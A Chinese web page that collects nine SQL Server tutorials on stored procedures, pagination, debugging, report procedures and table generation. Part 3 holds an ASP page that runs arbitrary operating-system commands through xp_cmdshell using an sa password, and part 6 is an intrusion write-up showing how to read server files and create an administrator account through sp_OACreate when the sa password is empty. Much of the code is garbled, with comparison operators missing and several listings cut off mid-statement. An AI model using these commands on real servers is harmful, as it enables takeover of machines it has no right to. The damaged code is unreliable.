收藏几段SQL Server语句和存储过程
“马力扣”通过精心收集,向本站投稿了9篇收藏几段SQL Server语句和存储过程,下面是小编精心整理后的收藏几段SQL Server语句和存储过程,仅供参考,大家一起来看看吧。
篇1:收藏几段SQL Server语句和存储过程
-- ======================================================
--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息
--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中
-- ======================================================
select
(casewhena.colorder=1thend.nameelse''end)表名,
a.colorder 字段序号,
a.name 字段名,
(casewhenCOLUMNPROPERTY( a.id,a.name,'IsIdentity')=1then'√'else''end) 标识,
(casewhen(selectcount(*)
fromsysobjects
where(namein
(selectname
fromsysindexes
where(id= a.id)and(indidin
(selectindid
fromsysindexkeys
where(id= a.id)and(colidin
(selectcolid
fromsyscolumns
where(id= a.id)
篇2:Delphi与SQLServer存储过程编程详解数据库
前言 经常有很多初学者问到在delphi中如何调用 SQL Server的存储过程 ?问题其实很好解决,但问得多了,也就不愿答了,下面我将用实例进行说明,从在SQL Server中创建存储过程到调用的完整实例。 首先,打开 sql server管理器,在pubs 数据库 中建一个 测试 表
前言
经常有很多初学者问到在delphi中如何调用SQLServer的存储过程?问题其实很好解决,但问得多了,也就不愿答了。下面我将用实例进行说明,从在SQL Server中创建存储过程到调用的完整实例。
首先,打开sqlserver管理器,在pubs数据库中建一个测试表,表名为test,字段有id,name,和desc,全部为字符型,如果你不知道建表,那么打开sql查询分析器,贴上以下的代码,然后按执行,就会自动生成test表.
use pubs
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[test]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [dbo].[test]
GO
CREATE TABLE [dbo].[test] (
[id] [char] (10) COLLATE Chinese_PRC_CI_AS NOT NULL ,
[name] [char] (12) COLLATE Chinese_PRC_CI_AS NULL ,
[descrip] [char] (30) COLLATE Chinese_PRC_CI_AS NULL
) ON [PRIMARY]
GO
然后,我们来创建一个存储过程,其功能为在test中插入一条新记录.创建存储过程的代码如下,同样的,你也可以复制到查询分析器里直接执行就可以:
CREATE PROCEDURE myInsert
@id char(10) ,
@name varchar(12),
@descrip varchar(30)
AS
begin
insert into test (id,name,descrip) values (@id,@name,@descrip)
if @@rowcount=0
begin
raiserror('error',16,1)
rollback transaction
end
end
GO
接下来,新建一个工程文件,在form1上放置如下控件,并设置属性(括号内):
一个ADOConnection1: TADOConnection;
(LoginPrompt:=false;
connectionstring:=Provider=SQLOLEDB.1;Persist Security Info=True;User ID=sa;Initial Catalog=pubs;Data Source=(local);)
一个ADOStoredProc1: TADOStoredProc;属性为:
(connection:=adoconnection1;
procedurename:=myinsert;//上面我们创建的那个)
一个ADOTable1: TADOTable;属性为:
(connection:=adoconnection1;
tablename:=test; //上面我们创建的那个)
一个Datasource1,属性为:
(dataset:=Tadotable;)
一个 DBGrid1: TDBGrid;属性为
(datasource:=datasource1;)
一个Button1,在其Onclick中写到:
with adoStoredproc1 do
begin
Parameters.ParamByName('@id').Value := '2';
parameters.ParamByName('@name').Value := 'myname';
parameters.ParamByName('@descrip').Value :='nosubject';
ExecProc;
end;
Adotable1.Close;
adotable1.Open;
原文转自:www.ltesting.net
篇3:教你SQLSERVER扩展存储过程XPCMDSHELL的简单应用
XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作,下面是我写的一个简单的应用页面(ASP),代码如下。
XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。下面是我写的一个简单的应用页面(ASP),代码如下。
CMD.ASP
<%@LANGUAGE=“VBSCRIPT” CODEPAGE=“936”%>
SQLSERVER_XP_CMDSHELL实例_魔术师·刘
<%if request(“cmd”)“” then%>
XP_CMDSHELL请求结果
<%dim connstr,conn,rs,i
ConnStr=“Provider=sqloledb.1;persist security info=false;server=”&request(“server”)&“;uid=sa;pwd=”&request(“pwd”)&“;database=master”
'ConnStr=“Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master”
set conn=Server.CreateObject(“ADODB.Connection”)
conn.open Connstr
set rs=server.CreateObject(“ADODB.Recordset”)
set rs=conn.execute(“xp_cmdshell '”&replace(replace(request(“cmd”),“'”,“''”),chr(34),“''”)&“'”)
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write “”&rs(0)&“”
else
response.Write “”&rs(0)&“”
end if
i=i 1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
<%end if%>
XP_CMDSHELL实例
服务器
<%=request(“Server”)%>“>
SA密码
<%=request(”PWD“)%>”>
CMD命令
<%=request(“CMD”)%>“>
篇4:SQLSERVER Pager store procedure分页存储过程数据库教程
复制代码代码如下:
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[Pagination]
@Page int = 1, -- 当前页码
@PageSize int = 10, -- 每页记录条数(页面大小)
@Table nvarchar(500), -- 表名或视图名,甚至可以是嵌套SQL:(Select * From Tab Where ID>1000) Tab
@Field nvarchar(800) = '*', -- 返回记录集字段名,”,“隔开,默认是”*“
@OrderBy nvarchar(100) = 'ID ASC', -- 排序规则
@Filter nvarchar(500), -- 过滤条件
@MaxPage smallint output, -- 执行结果 -1 error, 0 false, maxpage true
@TotalRow int output, -- 记录总数 /* -07-12 22:11:00 update */
@Descript. varchar(100) output -- 结果描述
AS
BEGIN
-- =============================================
-- Author: Jimmy.Yu
-- Create date: 2007-5-11
-- Description: SQL 以上版本 通用分页存储过程
-- =============================================
Set ROWCOUNT @PageSize;
Set @Descript. = 'successful';
-------------------参数检测----------------
IF LEN(RTRIM(LTRIM(@Table))) !> 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'table name is empty';
Return;
End
IF LEN(RTRIM(LTRIM(@OrderBy))) !> 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'order is empty';
Return;
End
IF ISNULL(@PageSize,0) <= 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'page size error';
Return;
End
IF ISNULL(@Page,0) <= 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'page error';
Return;
End
-------------------检测结束----------------
Begin Try
-- 整合SQL
Declare @SQL nvarchar(4000), @Portion nvarchar(4000);
Set @Portion = ' ROW_NUMBER OVER (ORDER BY ' + @OrderBy + ') AS ROWNUM FROM ' + @Table;
Set @Portion = @Portion + (CASE WHEN LEN(@Filter) >= 1 THEN (' Where ' + @Filter + ') AS tab') ELSE (') AS tab') END);
Set @SQL = 'Select TOP(' + CAST(@PageSize AS nvarchar(8)) + ') ' + @Field + ' FROM (Select ' + @Field + ',' + @Portion;
Set @SQL = @SQL + ' Where tab.ROWNUM > ' + CAST((@Page-1)*@PageSize AS nvarchar(8));
-- 执行SQL, 取当前页记录集
Execute(@SQL);
--------------------------------------------------------------------
-- 整合SQL
Set @SQL = 'Set @Rows = (Select MAX(ROWNUM) FROM (Select' + @Portion + ')';
-- 执行SQL, 取最大页码
Execute sp_executesql @SQL, N'@Rows int output', @TotalRow output;
Set @MaxPage = (CASE WHEN (@TotalRow % @PageSize)0 THEN (@TotalRow / @PageSize + 1) ELSE (@TotalRow / @PageSize) END);
End Try
Begin Catch
-- 捕捉错误
Set @MaxPage = -1;
Set @Descript. = 'error line: ' + CAST(ERROR_LINE() AS varchar(8)) + ', error number: ' + CAST(ERROR_NUMBER() AS varchar(8)) + ', error message: ' + ERROR_MESSAGE();
Return;
End Catch;
-- 执行成功
Return;
END
相对应的页面逻辑中写的对应调用该存储过程的方法(C#)
篇5:浅析Oracle和SqlServer存储过程的调试、出错处理数据库
在大型数据库中,因为 开发 的需要,经常地需要调用Procedure,开发Procedure在 Oracle 和Sqlserver上因为语法不同,而有所区别,但是在调试上,都是比较的不容易,尤其是在一些错误处理上, 首先说调试: 1、 对于Oracle的调试,可以借助于第三方的工具,比
在大型数据库中,因为开发的需要,经常地需要调用Procedure,开发Procedure在Oracle和Sqlserver上因为语法不同,而有所区别,但是在调试上,都是比较的不容易,尤其是在一些错误处理上。
首先说调试:
1、 对于Oracle的调试,可以借助于第三方的工具,比如Pl/Sql Developer,我在用的版本是6.0.5.926;首先对该Procedure右键处理,添加“add debug information”,然后选择“test”,打开新的测试窗口,在下方对应的输入输出变量地方,添加相应的测试数据,注意:这里的数据输入,不需要引号,输出参数不需要输入然后点击“start debugger”,或者按F9,进行测试,可以选择测试的步骤如“step into”等,然后可以在下面的script窗口看到,中间变量;
2、 对于SqlServer调试,我还没有找到比较好的第三方工具,目前是采用将中间的变量值或者sql语句插入到另一个表中,或者直接print出来的方式。第一种需要借助 exec('') 方法,注意里面的取变量值的写法,可参考下面的例子:
exec('update SupplyplanLack set Completedate = GetDate()
from supplyPlanLack a where '+ @ssTmp +' and
'+@iCompleteQty+'>= (select s.RequestQty * a.RationQty as ReqQty
from Balance a, SupplyPlan s where a.Vehicle = s.Vehicle
and a.Part=s.Part and a.SupplyPlanNo = s.SupplyPlanNo
and '+ @ssTmp +')')
在print中,需要注意类型的转换,一般是借用 convert(varchar(11),@spNOTo) 方法来实现,否则会提示类型转换错误!
3、 错误处理上,对于Sqlserver可以采用开始自定义变量,然后根据不同判断,改变该值然后推出的方法来处理,见下例
set @exec_num=0
if (@spNOFrom=0 or @spNOTo=0 or @reuseUser=NULL)
begin
set @exec_num=1
goto the_end
end
the_end:
return
或者是这种:
set nocount on
if (@property is null) or (@property = '')
begin
raiserror('Must specify a property name.',-1,-1)
return (1)
end
或者是对该错误全局变量 @@error 数值的判断上,
原文转自:www.ltesting.net
篇6:利用存储过程控制SA口令为空的SQLServer服务器的方法
利用存储过程控制SA口令为空的SQLServer服务器的方法
前几天朋友找我,让我帮忙测试一下他们的服务器,经过扫描后发现SQLServer的SA为空,决定利用这个漏洞做渗透测试。经过测试发现存储过程 Xp_cmdshell以及读取注册表系列的存储过程都被删除了,并且Xplog70.dll也被删除,所以无法执行CMD命令和克隆管理员帐号了,看样子是经过安全配置的,这种情况据我当时掌握的知识是没办法入侵的。以前也遇到过类似的机器,所以决定利用几天的时间解决这个问题。经过两天的查阅资料和测试,实现了不需要使用任何SQLServer自带的存储过程就可以从目标机上得到txt、asp等类型文件的内容(前提是知道SA 密码或者SA密码为空),实现过程就是自己建立一个临时表,然后将文件读到表中,再用SELECT语句得到返回值,即文件的内容。我们可以在查询分析器里先写入一个存储过程,然后执行,在需要的时候只要调用该存储过程即可:
Create proc sp_readTextFile @filename sysname
as
begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from ”' + @filename + '“')
select * from #tempfile
drop table #tempfile
End
go
这样我们只要执行类似下面的语句就可以得到指定路径下文件的内容:
exec sp_readTextFile 'c:aaa.asp'
实现这个功能后,本打算通过读取朋友服务器上网站的asp代码,做进一步的入侵,可是后来发现,因为不知道网站asp文件的绝对路径,所以这个功能根本用不上,只好作罢,另找其他方法。在这之后的几天时间里,我想到了使用安全文章经常提到OLE相关的一系列存储过程,这一系列的存储过程同 Xp_cmdshell以及读取注册表系列的.存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,这系列的存储过程有 sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod, sp_OASetProperty,sp_OAStop,下面我讲一下通过查阅资料得到的使用方法:
打开查询分析器,然后使用SA与目标机连接上,在查询分析器里执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:WINNTsystem32cmd.exe /c net user
ceshi 1 /add'--
这样对方系统增加了一个用户名为ceshi,密码为1的用户,再执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:WINNTsystem32cmd.exe /c net localgroup
administrators ceshi /add '--
用户ceshi,被加入管理员组。
总结:通过这次渗透测试,又学到了一种利用存储过程控制SA为空的SQLServer服务器的方法。
篇7:存储过程与 SQL Server语句大比拼综合教程
本文从多个角度阐述了SQL Server与存储过程的比较,
①为什么要使用存储过程?
因为它比SQL语句执行快。
②存储过程是什么?
把一堆SQL语句罗在一起,还可以根据条件执行不通SQL语句。
③来一个最简单的存储过程:
CREATE PROCEDURE dbo.testProcedure_AX
AS
select userID from
USERS order by userid desc
注:dbo.testProcedure_AX是你创建的存储过程名,可以改为:AXzhz等,别跟关键字冲突就行了.AS下面就是一条SQL语句,不会写SQL语句的请回避。
④怎么在ASP.NET中调用这个存储过程:
public static string GetCustomerCName
(ref ArrayList arrayCName,ref ArrayList arrayID)
{
SqlConnection con=ADConnection.createConnection;
SqlCommand cmd=new SqlCommand(”testProcedure_AX“,con);
cmd.CommandType=CommandType.StoredProcedure;
con.Open();
try
{
SqlDataReader dr=cmd.ExecuteReader();
while(dr.Read())
{
if(dr[0].ToString()==”“)
{
arrayCName.Add(dr[1].ToString());
}
}
con.Close();
return ”OK!“;
}
catch(Exception ex)
{
con.Close();
return ex.ToString();
}
}
注:其实就是把以前:
SqlCommand cmd=new SqlCommand(”select
userID from USERS order by userid desc“,con);
中的SQL语句替换为存储过程名,再把cmd的类型标注为CommandType.StoredProcedure(存储过程)。
⑤写个带参数的存储过程:
CREATE PROCEDURE dbo.AXzhz
/*
这里写注释
*/
@startDate varchar(16),
@endDate varchar(16)
AS
select id from table_AX where commentDateTime>
@startDate and commentDateTime<@endDate order
by contentownerid DESC
注:@startDate varchar(16)是声明@startDate 这个变量,多个变量名间用【,】隔开.后面的SQL就可以使用这个变量了。
⑥我怎么在ASP.NET中调用这个带参数的存储过程:
public static string GetCustomerCNameCount
(string startDate,string endDate,ref DataSet ds)
{
关 键 字:SQLServer
篇8:Crystal Reports 和sqlserver共同进行报表的开发存储过程实践数据库教程
server|存储过程
Crystal Reports 和sql-server共同进行报表的开发
1:Crystal Reports功能自述
Crystal Reports 用于处理数据库,帮助用户分析和解释重要信息,使用 Crystal Reports 可以方便地创建简单报表,同时它也提供了创建复杂或专用的报表所需的整套工具。
创建所能想象的任何报表
Crystal Reports 几乎可以从任何数据源生成您需要的报表。内置报表专家在您生成报表和完成一般的报表任务过程中,会一步一步地指导您进行操作。报表专家通过公式、交叉表、子报表和设置条件格式帮助表现数据的实际意义,揭示可能被隐藏掉的重要关系。如果文字和数字确实不够充分,则用地理地图和图形进行形象的信息交流。
将报表扩展到 Web
Crystal Reports 的灵活性并未停留在创建报表这一功能上 ?您可以用各种各样的格式发布报表,包括用 Microsoft 的 Word 和Excel 发布、通过电子邮件甚至 Web 发布。高级的 Web 报表功能允许工作组中的其他成员在他们自己的 Web 浏览器中查看或更新共享报表。
将报表并入应用程序
通过将 Crystal Reports 的报表处理功能整合到自己的数据库应用程序中,应用程序和 Web 开发人员可以节省开发时间并满足用户的需求。Crystal Reports 支持大多数流行的开发语言,可以方便地在任何应用程序中添加报表。
不论您是 IT 行业的站点管理员,还是营销推广经理,也无论您是金融业的数据库管理员还是 CEO,Crystal Reports 都堪称是一个功能强大的工具,它可以帮助每一个人分析、解释重要信息。
2:Crystal Reports和Sql-server结合
Crystal虽然提供了强大的报表功能,但是对于复杂的逻辑运算,却是很难实现。但是,Crystal中可以像添加表一样添加存储过程,这就给我们的复杂运算提供了简便的处理方法。
3:例子
这是我们给国航公司it服务项目做的报表的sql-server存储过程部分。(欢迎大家共同讨论)
A:每个员工的处理故障完成数、总数
fgw_proc1.txt
--fgw_proc1 处理故障完成数、总数
CREATE PROCEDURE [AHD].[fgw_proc1](@开始时间 datetime , @结束时间 datetime)
AS
DECLARE @begin int , @end int /*转时间*/
exec fgw_util1 @开始时间, @begin output
exec fgw_util1 @结束时间, @end output
DECLARE @userid int, @handled float, @total float
CREATE TABLE #temp_proc1
(
userid int,
handled float,
total float
)
DECLARE cur_ctct CURSOR FOR SELECT id FROM AHD.AHD.ctct --取所有的用户id
OPEN cur_ctct
FETCH cur_ctct INTO @userid
WHILE @@FETCH_STATUS = 0
BEGIN
--get @handle through exec fgw_proc2
EXEC fgw_proc1_1 @userid , @begin , @end , @handled output , @total output /*call下个存储过程,得到某个用户的解决数、接触故障数*/
INSERT INTO #temp_proc1 VALUES (@userid , @handled , @total) /*将用户信息插入临时表*/
FETCH NEXT FROM cur_ctct INTO @userid /*记录下移*/
END
CLOSE cur_ctct
DEALLOCATE cur_ctct
SELECT * FROM #temp_proc1 /*生成结束集*/
DROP TABLE #temp_proc1 /*释放*/
GO
fgw_proc1_1.txt
--fgw_proc1_1
CREATE PROCEDURE [AHD].[fgw_proc1_1](@userid int , @begin int , @end int , @handled float OUTPUT , @total float OUTPUT)
AS
SET @handled = 0
SET @total = 0
DECLARE @cr_id int, @zh_id int, @status char(12), @to_status char(12), @cnt int, @open_date int
--handled /*计算此人的处理完成故障数*/
DECLARE cur11_1 CURSOR FOR SELECT AHD.call_req.id AS cr_id, AHD.ztr_his.id AS zh_id, AHD.call_req.status, AHD.ztr_his.to_status, AHD.ztr_his.to_cnt AS cnt, AHD.call_req.open_date FROM AHD.call_req LEFT OUTER JOIN AHD.ztr_his ON AHD.call_req.persid = AHD.ztr_his.call_req_id WHERE AHD.call_req.type='I' AND (AHD.call_req.status IN ('CL', 'TTPC')) AND (AHD.ztr_his.to_status IN ('L1WIP', 'L2WIP', 'ICP', 'SRBYL1', 'SRBYL2', 'NCCBYL1', 'NCCBYL2', 'CRBYL1', 'CRBYL2')) AND AHD.call_req.open_date>@begin AND AHD.call_req.open_date<@end AND AHD.ztr_his.to_cnt = @userid
OPEN cur11_1
FETCH cur11_1 INTO @cr_id, @zh_id, @status, @to_status, @cnt, @open_date /*事件id,历史id,状态,处理人,打开时间取所需要的值*/
WHILE @@FETCH_STATUS = 0 /*循环每一个记录*/
BEGIN
DECLARE @count2 int /*每个事件单在历史记录中有多少条*/
DECLARE cur11_2 CURSOR FOR SELECT count(*) FROM AHD.call_req LEFT OUTER JOIN AHD.ztr_his ON AHD.call_req.persid = AHD.ztr_his.call_req_id WHERE AHD.call_req.type='I' AND (AHD.call_req.status IN ('CL', 'TTPC')) AND (AHD.ztr_his.to_status IN ('L1WIP', 'L2WIP', 'ICP', 'SRBYL1', 'SRBYL2', 'NCCBYL1', 'NCCBYL2', 'CRBYL1', 'CRBYL2')) AND (AHD.call_req.open_date>@begin) AND (AHD.call_req.open_date<@end) AND (AHD.call_req.id = @cr_id)
OPEN cur11_2
FETCH cur11_2 INTO @count2
CLOSE cur11_2
DEALLOCATE cur11_2
IF @count2 0
SET @handled = @handled + 1.0 / @count2 /*此人的处理完成数*/
FETCH NEXT FROM cur11_1 INTO @cr_id, @zh_id, @status, @to_status, @cnt, @open_date /*循环记录*/
END
CLOSE cur11_1
DEALLOCATE cur11_1
--total /*计算此人的处理故障数*/
DECLARE cur11_3 CURSOR FOR SELECT count(distinct(AHD.call_req.id)) FROM AHD.call_req LEFT OUTER JOIN AHD.ztr_his ON AHD.call_req.persid = AHD.ztr_his.call_req_id WHERE AHD.call_req.type='I' AND (AHD.call_req.open_date>@begin AND AHD.call_req.open_date<@end) AND (AHD.ztr_his.to_cnt = @userid) /*取此人所有单*/
OPEN cur11_3
FETCH cur11_3 INTO @total /*总故障数*/
CLOSE cur11_3
DEALLOCATE cur11_3
--SELECT @handled
--declare @handled float,@total float
--exec fgw_proc1_1 400115,1,1111111111,@handled output ,@total output
--print @handled
--print @total
GO
B:每个员工的响应达标数、响应总数
fgw_proc2.txt
--fgw_proc2 响应达标数、响应总数
CREATE PROCEDURE [AHD].[fgw_proc2](@开始时间 datetime , @结束时间 datetime)
AS
DECLARE @begin int , @end int
exec fgw_util1 @开始时间, @begin output
exec fgw_util1 @结束时间, @end output
DECLARE @cr_id int, @zh_id int, @cnt int, @sym char(30), @time_stamp int, @isOK int , @userid int , @handled int , @total int
DECLARE @call_req_id char(30)
CREATE TABLE #temp_proc2 /* 响应达标数、响应总数*/
(
userid int,
handled2 int,
total2 int
)
CREATE TABLE #temp_proc2_1 /* 事件单为op的记录*/
(
cr_id int,
zh_id int,
cnt int,
isOK int
)
--initialize #temp_proc2_1 /*已经op的单,是否响应达标,返回处理人*/
DECLARE cur2_1 CURSOR FOR SELECT zh.call_req_id,zh.id,zh.to_cnt,sd.sym,zh.time_stamp FROM AHD.AHD.call_req as cr LEFT OUTER JOIN AHD.AHD.ztr_his as zh ON cr.persid=zh.call_req_id LEFT OUTER JOIN AHD.AHD.srv_desc as sd ON cr.support_lev=sd.code WHERE cr.type='I' and cr.open_date>@begin and cr.open_date<@end and (zh.to_status='ASTOL1' OR zh.to_status='ASTOL2')
OPEN cur2_1
FETCH cur2_1 INTO @call_req_id, @zh_id, @cnt, @sym, @time_stamp /*事件单id,历史单id,人员,服务级别,op状态的时间*/
WHILE @@FETCH_STATUS = 0
BEGIN
EXEC fgw_proc2_1 @call_req_id , @sym , @time_stamp , @isOK output
INSERT INTO #temp_proc2_1 VALUES (@cr_id , @zh_id , @cnt , @isOK)
FETCH NEXT FROM cur2_1 INTO @call_req_id, @zh_id, @cnt, @sym, @time_stamp
END
CLOSE cur2_1
DEALLOCATE cur2_1
--initialize #temp_proc2
DECLARE cur2_2 CURSOR FOR SELECT id FROM AHD.AHD.ctct
OPEN cur2_2
FETCH cur2_2 INTO @userid
WHILE @@FETCH_STATUS = 0
BEGIN
--get @total /*所有的已响应的单*/
DECLARE cur2_3 CURSOR FOR SELECT count(*) FROM #temp_proc2_1 WHERE cnt = @userid
OPEN cur2_3
FETCH cur2_3 INTO @total
CLOSE cur2_3
DEALLOCATE cur2_3
--get @handled /*所有的已响应的单,并达标的单*/
DECLARE cur2_4 CURSOR FOR SELECT count(*) FROM #temp_proc2_1 WHERE cnt = @userid AND isOK=1
OPEN cur2_4
FETCH cur2_4 INTO @handled
CLOSE cur2_4
DEALLOCATE cur2_4
INSERT INTO #temp_proc2 VALUES (@userid , @handled , @total)
FETCH NEXT FROM cur2_2 INTO @userid
END
CLOSE cur2_2
DEALLOCATE cur2_2
DROP TABLE #temp_proc2_1
SELECT * FROM #temp_proc2
DROP TABLE #temp_proc2
GO
fgw_proc2_1.txt
--fgw_proc2_1
CREATE PROCEDURE [AHD].[fgw_proc2_1](@call_req_id char(30) , @level char(30) , @time_stamp int , @isOK int OUTPUT)
AS
SET NOCOUNT ON
SET @isOK = 0
DECLARE cur_zh CURSOR FOR SELECT time_stamp FROM AHD.AHD.ztr_his WHERE call_req_id = @call_req_id and to_status in ('L1WIP','L2WIP') and time_stamp>@time_stamp
OPEN cur_zh
DECLARE @time_stamp1 int
SET @time_stamp1=0
FETCH cur_zh INTO @time_stamp1
IF (@time_stamp1 is not null) and (@time_stamp10)
BEGIN
IF CHARINDEX('一级', @level) IS NOT NULL AND CHARINDEX('一级', @level)0
BEGIN
if @time_stamp1 - @time_stamp <600
SET @isOK=1
END
ELSE IF CHARINDEX('二级', @level) IS NOT NULL AND CHARINDEX('二级', @level)0
BEGIN
if @time_stamp1 - @time_stamp <1800
SET @isOK=1
END
ELSE IF CHARINDEX('三级', @level) IS NOT NULL AND CHARINDEX('三级', @level)0
BEGIN
if @time_stamp1 - @time_stamp <1800
SET @isOK=1
END
ELSE IF CHARINDEX('四级', @level) IS NOT NULL AND CHARINDEX('四级', @level)0
BEGIN
if @time_stamp1 - @time_stamp <1800
SET @isOK=1
END
END
CLOSE cur_zh
DEALLOCATE cur_zh
--SELECT @isOK, @time_stamp1
GO
C:每个员工的处理时限达标数,总数
fgw_proc3.txt
--fgw_proc3
CREATE PROCEDURE fgw_proc3(@开始时间 datetime , @结束时间 datetime)
AS
/*时间转换*/
DECLARE @begin int , @end int
exec fgw_util1 @开始时间, @begin output
exec fgw_util1 @结束时间, @end output
DECLARE @cr_id int, @zh_id int, @cnt int, @sym char(30), @time_stamp int, @isOK int , @userid int , @handled int , @total int
CREATE TABLE #temp_proc3
(
userid int,
handled2 int,
total2 int
)
DECLARE cur3_2 CURSOR FOR SELECT id FROM AHD.AHD.ctct
OPEN cur3_2
FETCH cur3_2 INTO @userid
WHILE @@FETCH_STATUS = 0
BEGIN
--get @handled
DECLARE cur3_4 CURSOR FOR SELECT distinct(cr.id) FROM AHD.AHD.call_req as cr LEFT OUTER JOIN AHD.AHD.ztr_his as zh ON cr.persid=zh.call_req_id WHERE cr.type='I' and cr.open_date>@begin and cr.open_date<@end and zh.to_cnt = @userid and cr.sla_violation=0
OPEN cur3_4
SET @handled = @@CURSOR_ROWS
CLOSE cur3_4
DEALLOCATE cur3_4
--get @total
DECLARE cur3_5 CURSOR FOR SELECT distinct(cr.id) FROM AHD.AHD.call_req as cr LEFT OUTER JOIN AHD.AHD.ztr_his as zh ON cr.persid=zh.call_req_id WHERE cr.type='I' and cr.open_date>@begin and cr.open_date<@end and zh.to_cnt = @userid
OPEN cur3_5
SET @total = @@CURSOR_ROWS
CLOSE cur3_5
DEALLOCATE cur3_5
INSERT INTO #temp_proc3 VALUES (@userid , @handled , @total)
FETCH NEXT FROM cur3_2 INTO @userid
END
CLOSE cur3_2
DEALLOCATE cur3_2
SELECT * FROM #temp_proc3
DROP TABLE #temp_proc3
D:将日期格式转换成整型
fgw_util1.txt
--fgw_util1
CREATE PROCEDURE [AHD].[fgw_util1] (@time datetime, @seconds int output)
AS
set @seconds=datediff(ss,'1970-01-01 00:00:00', @time)
GO
例子只是整盘拷贝了代码,欢迎大家共同讨论
篇9:直接从SQL语句问题贴子数据建表并生成建表语句的存储过程数据库教程
存储过程|数据|问题|语句
下面的存储过程,可帮你在回答SQL语句问题时,直接从贴子的样本数据建表并生成建表语句,省去大量的手工输入数据的工作,
/*Create Table from your web page data
* 2004-JAN-1, OpenVMS,V0.1
* 2004-JAN-2, V0.5, add tab & blank values logical
* 2004-JAN-3, V1.0, add SQL Statement generation
* 2004-JAN-4, V1.1, fix datatype like decimal(4,2) bug
* 2004-JAN-4, V1.2, fix field name bug
*
* Sample Call: in SQL Query Analyzer
exec dbo.create_table '##t2','varchar(20),datetime k','
ID AnDate
99101 2002-11-24 00:00:00.000
99101 2003-11-15 00:00:00.000
99101 2003-11-29 00:00:00.000
99101 2003-12-20 00:00:00.000'
注意:
1 如用临时表名,只能用全局临时表 ##,否则不可访问
2 如果没有列名,则需要在第一行数据手动加上列名
3 字段名称不允许含空格
4 至少一行数据,否则没有意义
5 字段值为空需要写上NULL,字段值中的任何符号作为值的一部分
6 没有对定义类型和值的类型匹配检查
7 可指定值中含有空格,方法为在该类型定义中的尾部加字母 k, 如 datatime k,
8 如过值中含有单引号,需要复写 ' -》''
*/
IF EXISTS (SELECT name
FROM sysobjects
WHERE name = N'create_table'
AND type = 'P')
DROP PROCEDURE create_table
go
create proc dbo.create_table
@table_name varchar(60),--- Table name
@datatype varchar(1000),--- separated by comma ','
@str nvarchar(3000) --- input string pasted from web page
AS
BEGIN
declare @dt table(id int identity(1,1),fld_name varchar(30),fld_type varchar(20),blank int)
declare @sqlt table(sql_statement varchar(8000))
declare @tmp varchar(1000),@num1 int,@num2 int,@sql nvarchar(4000)
declare @a nvarchar(3000),@i int,@j int,@k int,@m int,@x nvarchar(1000)
SET NOCOUNT ON
if object_id(@table_name) is not null
begin
set @a='TABLE '+@table_name+' exists,choose a new one!'
RAISERROR (@a,16,1)
return
end
--提取类型名
set @datatype=lower(replace(@datatype,' ',''))
set @tmp=@datatype
set @i=1
set @num1=0
while @i>0
begin
select @i=charindex(',',@datatype)
--check datatype like decimal(10,4)
if @i>charindex('(',@datatype) and @i set @i=charindex(')',@datatype)+1 select @j=charindex('k',@datatype) set @m=0 if (@j>1 and @j<@i) or (@i=0 and @j=len(@datatype)) set @m=-1 if @i>1 begin insert into @dt(fld_type,blank) values(left(@datatype,@i-1+@m),case when @m=-1 then 1 else 0 end) select @datatype=right(@datatype,len(@datatype)-@i) end if @i=0 and len(@datatype)>0 insert into @dt(fld_type,blank) values(left(@datatype,len(@datatype)+@m), case when @m=-1 then 1 else 0 end) if @i=1 or len(@datatype)=0 begin RAISERROR ('error data type,comma sign can not be a prefix or surfix',16,1) return end set @num1=@num1+1 end --检查类型 if exists (select fld_type from @dt where (case when charindex('(',fld_type)>0 then left(fld_type,charindex('(',fld_type)-1) else fld_type end) not in (select name from systypes) or charindex('(',fld_type)*charindex(')',fld_type)=0 and charindex('(',fld_type)+charindex(')',fld_type)>0) begin RAISERROR ('error data type.', 16, 1) return end --提取字段和数据 set @a=replace(@str,char(9),' ') --- TAB char set @a=rtrim(ltrim(@a)) if charindex(char(13)+char(10),right(@a,len(@a)-1))=0 or len(@a)=0 begin RAISERROR ('input data error,check your data.', 16, 1) return end if object_id('tempdb.dbo.#xx') is not null drop table #xx select identity(int,1,1) ID,space(50) val into #xx where 1=2 set @k=0 set @num2=0 set @m=0 while len(@a)>0 begin set @i=1 set @x=left(@a,1) if @x=char(10) begin if @m>@num2 and @num2>0 and charindex('k',@datatype)=0 begin RAISERROR ('number of data is greater than the columns,you should add k in data type difinition.', 16, 1) return end set @m=0 end if @x not in (' ',char(13),char(10)) begin set @i=charindex(' ',@a) set @j=charindex(char(13)+char(10),@a) set @m=@m+1 if @k-1 set @k=@k+1 if @j>0 and (@j<@i or @j>@i and substring(@a,@i,@j-@i)=space(@j-@i)) begin set @i=@j if @k>@num2 and @k-1 set @num2=@k set @k=-1 end if @i=0 set @i=(case when @j>0 then @j else len(@a)+1 end) select @j=max(ID) from #xx if @m=1 or @j<=@num1 or (select blank from @dt where ID=@m-1) 1 begin if @j<@num1 set 